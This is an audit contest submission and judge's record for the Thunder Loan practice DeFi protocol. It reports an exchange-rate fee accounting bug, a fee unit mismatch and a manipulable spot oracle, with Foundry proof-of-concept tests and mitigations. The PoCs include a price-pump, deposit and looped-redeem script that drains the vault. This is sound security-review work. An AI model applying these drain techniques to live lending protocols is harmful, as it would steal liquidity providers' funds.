Thunder Loan
AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Exchange-rate fee crediting mints phantom LP claims -> full vault drain (v1) / systemic insolvency (v2)

mahmudonblock

Description

LP claims on an AssetToken are totalSupply * exchangeRate, and the exchange rate is written by adding the
fee as if fee whole asset-supply units appeared in the vault, instead of as real backing.

// src/protocol/AssetToken.sol:80-91 — @> rate step adds fee to supply as if it were fresh shares
function updateExchangeRate(uint256 fee) external onlyThunderLoan {
// @> fee is oracle-scaled (see getCalculatedFee) and UNCOLLECTED in deposit()
uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) / totalSupply();
if (newExchangeRate <= s_exchangeRate) {
revert AssetToken__ExhangeRateCanOnlyIncrease(s_exchangeRate, newExchangeRate);
}
s_exchangeRate = newExchangeRate;
}
// src/protocol/ThunderLoan.sol:147-156 — @> v1 deposit credits an UNPAID fee to the rate AFTER minting
function deposit(IERC20 token, uint256 amount) external {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount); // @> shares minted at OLD rate
uint256 calculatedFee = getCalculatedFee(token, amount); // @> fee scaled by live pool spot price
assetToken.updateExchangeRate(calculatedFee); // @> rate inflated by an UNCOLLECTED fee
token.safeTransferFrom(msg.sender, address(assetToken), amount); // @> principal (not the fee) is collected
}
// src/protocol/ThunderLoan.sol:247-251 — @> fee is 0.3% of the token's WETH VALUE, denominated in TOKEN units
function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) {
uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision;
fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
}

getCalcPriceInWeth reads the pool's live reserve ratio:

// src/protocol/OracleUpgradeable.sol:19-24 — @> spot price, no TWAP/circuit-breaker -> manipulable same-tx
function getPriceInWeth(address token) public view returns (uint256) {
address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
}

After any fee, claims move by rate * fee / 1e18 but backing only grows by fee. The two match only while
rate == 1e18; every fee nudges the rate above 1e18, so the divergence compounds on subsequent fees.
The v2 flashloan path (below) has the same rate step on the collected fee:

// src/upgradedProtocol/ThunderLoanUpgraded.sol:192-194 — @> v2 still inflates rate by raw fee before loan out
uint256 fee = getCalculatedFee(token, amount);
assetToken.updateExchangeRate(fee);

Root Cause

updateExchangeRate(fee) credits the fee to LP claims using (supply + fee)/supply — i.e. fee behaves
like newly minted shares — while the underlying vault only ever receives fee tokens. When rate != 1e18
(after the very first fee), this credits rate*fee/1e18 of claims against fee of backing, minting unbacked
(phantom) value. Three amplifying defects compound it:

  1. Unit mismatch in getCalculatedFee: the fee is 0.3% of the token's weth value but is applied as if
    it were token units (never divided back by the price). On a pool where 1 tokenA == 1000 weth, a
    nominal 0.3% fee becomes a 300% fee.

  2. Uncollected fee on deposit (v1): deposit mints shares at the old rate, then inflates the rate by a fee
    nobody pays (the deposit only transfers principal), so the depositor redeems at the inflated rate.

  3. Manipulable spot oracle: getPriceInWeth is a raw pool reserve ratio with no TWAP; a same-tx swap pumps
    the fee arbitrarily, scaling the phantom claims without bound.

Risk

Likelihood: High. The v1 deposit path needs no oracle game at all on pools where the fee's weth-to-token
units diverge (a 1 token = 1000 weth pool turns an honest first deposit into a 4x rate jump). Oracle
manipulation is one same-tx swap away and requires no privileged actor. The v2 drift requires only repeated
honest, fully-repaid flash loans.

Impact:

  • Critical (v1): attacker pumps the pool price ~1370x, deposits the just-bought tokens, then redeems at
    the exploded rate -> the entire AssetToken vault is drained (LP principal stolen, account left with dust).

  • High (v2): repeated honest flash-loan fees produce claims >> backing (in the PoC, 7.89e42 claims vs
    7.6e24 backing after 50 loans) -> unavoidable insolvency; late redeemers revert / get nothing.

  • Independent confirmation: stateful invariant fuzzing (ThunderLoanInvariants) breaks the
    lpClaimsNeverExceedBacking invariant within 128k calls.

Proof of Concept

test/poc/PocHonestDepositInsolvency.t.sol — no manipulation needed: on a 1 token = 1000 weth pool, an
honest first deposit already produces a 4x rate jump and an instantly-insolvent vault (redeem of the resulting
40k claims reverts against a 10k vault):

function test_PoC_HonestFirstDeposit_4xRate_Insolvent() public {
tokenA.mint(lp, 10_000e18);
vm.startPrank(lp);
tokenA.approve(address(tl), type(uint256).max);
tl.deposit(tokenA, 10_000e18); // fee = 0.3% of 10M weth value = 30k token units
vm.stopPrank();
​
uint256 rate = asset.getExchangeRate();
assertEq(rate, 4e18, "honest first deposit 4x's the exchange rate at 1000 weth/token");
​
assertEq(tokenA.balanceOf(address(asset)), 10_000e18);
assertEq((asset.balanceOf(lp) * rate) / 1e18, 40_000e18); // claims 40k vs backing 10k
​
uint256 shares = asset.balanceOf(lp);
vm.startPrank(lp);
vm.expectRevert(bytes("ERC20: transfer amount exceeds balance")); // insolvent: vault can't pay claims
tl.redeem(tokenA, shares);
vm.stopPrank();
}

test/poc/PocV1DepositSteal.t.sol (v1 -> full vault drain):

function test_PoC_DepositSteal_DrainsAssetToken() public {
// Honest LP deposits 100k tokenA
vm.startPrank(LP);
tokenA.approve(address(thunderLoan), 100_000e18);
thunderLoan.deposit(tokenA, 100_000e18);
vm.stopPrank();
uint256 baseRate = asset.getExchangeRate();
uint256 backingBefore = tokenA.balanceOf(address(asset));
uint256 basePrice = pool.getPriceOfOnePoolTokenInWeth();
​
// Attacker pumps the pool price (spot oracle follows) in the same tx
vm.startPrank(attacker);
uint256 wethPump = 7_200_000_000e18;
weth.approve(address(pool), wethPump);
uint256 tokensReceived = pool.swapWethForToken(wethPump);
vm.stopPrank();
uint256 pumpedPrice = pool.getPriceOfOnePoolTokenInWeth();
assertGt(pumpedPrice, basePrice * 100, "price pumped >100x");
​
// Attacker deposits the just-bought tokens; rate EXPLODES
vm.startPrank(attacker);
uint256 dep = tokensReceived;
tokenA.approve(address(thunderLoan), dep);
thunderLoan.deposit(tokenA, dep);
vm.stopPrank();
uint256 afterRate = asset.getExchangeRate();
assertGt(afterRate, baseRate * 5, "rate exploded after pumped deposit");
​
// Attacker redeems at the exploded rate, iteratively draining the whole vault
uint256 backingAtStart = tokenA.balanceOf(address(asset));
for (uint256 i = 0; i < 1000; i++) {
uint256 backing = tokenA.balanceOf(address(asset));
uint256 attackerShares = asset.balanceOf(attacker);
if (backing == 0 || attackerShares == 0) break;
uint256 rate = asset.getExchangeRate();
uint256 sharesToRedeem = (backing * 1e18) / rate;
if (sharesToRedeem == 0) break;
if (sharesToRedeem > attackerShares) sharesToRedeem = attackerShares;
vm.startPrank(attacker);
thunderLoan.redeem(tokenA, sharesToRedeem);
vm.stopPrank();
}
​
uint256 attackerUnderlyingOut = tokenA.balanceOf(attacker);
uint256 backingAfter = tokenA.balanceOf(address(asset));
​
// Vault drained to dust; attacker net profit == LP's full deposit
assertLt(tokenA.balanceOf(address(asset)), 1e6, "vault drained to zero");
assertGt(attackerUnderlyingOut, dep, "attacker exits with more than they put in (steal)");
emit log_named_uint("attacker net profit (tokenA)", attackerUnderlyingOut - dep);
}

Run:

  • forge test --match-contract PocHonestDepositInsolvency -vv (PASS — no-manipulation variant)

  • forge test --match-contract PocV1DepositSteal -vv (PASS; logs: attackerDeposited 194,594, attackerRedeemedOut 294,594, backingAfter 7,324 wei)

  • forge test --match-contract PocFeeAccountingDrift -vv (PASS; logs: claimsAfter50Loans 7.89e42, backingAfter50Loans 7.6e24)

Recommended Mitigation

  • In updateExchangeRate, convert the fee to vault-share terms so claims growth equals backing growth at any
    rate: newExchangeRate = s_exchangeRate * (totalSupply() + fee * 1e18 / s_exchangeRate) / totalSupply(); or
    track accrued fees in a separate reserve and add them to the vault before computing the rate.

  • In getCalculatedFee, convert the weth-value fee back into underlying-token units (divide by the token price)
    so a 0.3% fee is actually 0.3% of the amount, regardless of pool price.

  • In v1 deposit, remove the uncollected updateExchangeRate(calculatedFee) call (v2 already did).

  • For the oracle: use a TWAP/EMA or bounded price feed so the spread of getCalculatedFee is capped.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Updating exchange rate on token deposit will inflate asset token's exchange rate faster than expected

# Summary Exchange rate for asset token is updated on deposit. This means users can deposit (which will increase exchange rate), and then immediately withdraw more underlying tokens than they deposited. # Details Per documentation: > Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. **These AssetTokens gain interest over time depending on how often people take out flash loans!** Asset tokens gain interest when people take out flash loans with the underlying tokens. In current version of ThunderLoan, exchange rate is also updated when user deposits underlying tokens. This does not match with documentation and will end up causing exchange rate to increase on deposit. This will allow anyone who deposits to immediately withdraw and get more tokens back than they deposited. Underlying of any asset token can be completely drained in this manner. # Filename `src/protocol/ThunderLoan.sol` # Permalinks https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L153-L154 # Impact Users can deposit and immediately withdraw more funds. Since exchange rate is increased on deposit, they will withdraw more funds then they deposited without any flash loans being taken at all. # Recommendations It is recommended to not update exchange rate on deposits and updated it only when flash loans are taken, as per documentation. ```diff function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) { AssetToken assetToken = s_tokenToAssetToken[token]; uint256 exchangeRate = assetToken.getExchangeRate(); uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate; emit Deposit(msg.sender, token, amount); assetToken.mint(msg.sender, mintAmount); - uint256 calculatedFee = getCalculatedFee(token, amount); - assetToken.updateExchangeRate(calculatedFee); token.safeTransferFrom(msg.sender, address(assetToken), amount); } ``` # POC ```solidity function testExchangeRateUpdatedOnDeposit() public setAllowedToken { tokenA.mint(liquidityProvider, AMOUNT); tokenA.mint(user, AMOUNT); // deposit some tokenA into ThunderLoan vm.startPrank(liquidityProvider); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); // another user also makes a deposit vm.startPrank(user); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA); // after a deposit, asset token's exchange rate has aleady increased // this is only supposed to happen when users take flash loans with underlying assertGt(assetToken.getExchangeRate(), 1 * assetToken.EXCHANGE_RATE_PRECISION()); // now liquidityProvider withdraws and gets more back because exchange // rate is increased but no flash loans were taken out yet // repeatedly doing this could drain all underlying for any asset token vm.startPrank(liquidityProvider); thunderLoan.redeem(tokenA, assetToken.balanceOf(liquidityProvider)); vm.stopPrank(); assertGt(tokenA.balanceOf(liquidityProvider), AMOUNT); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!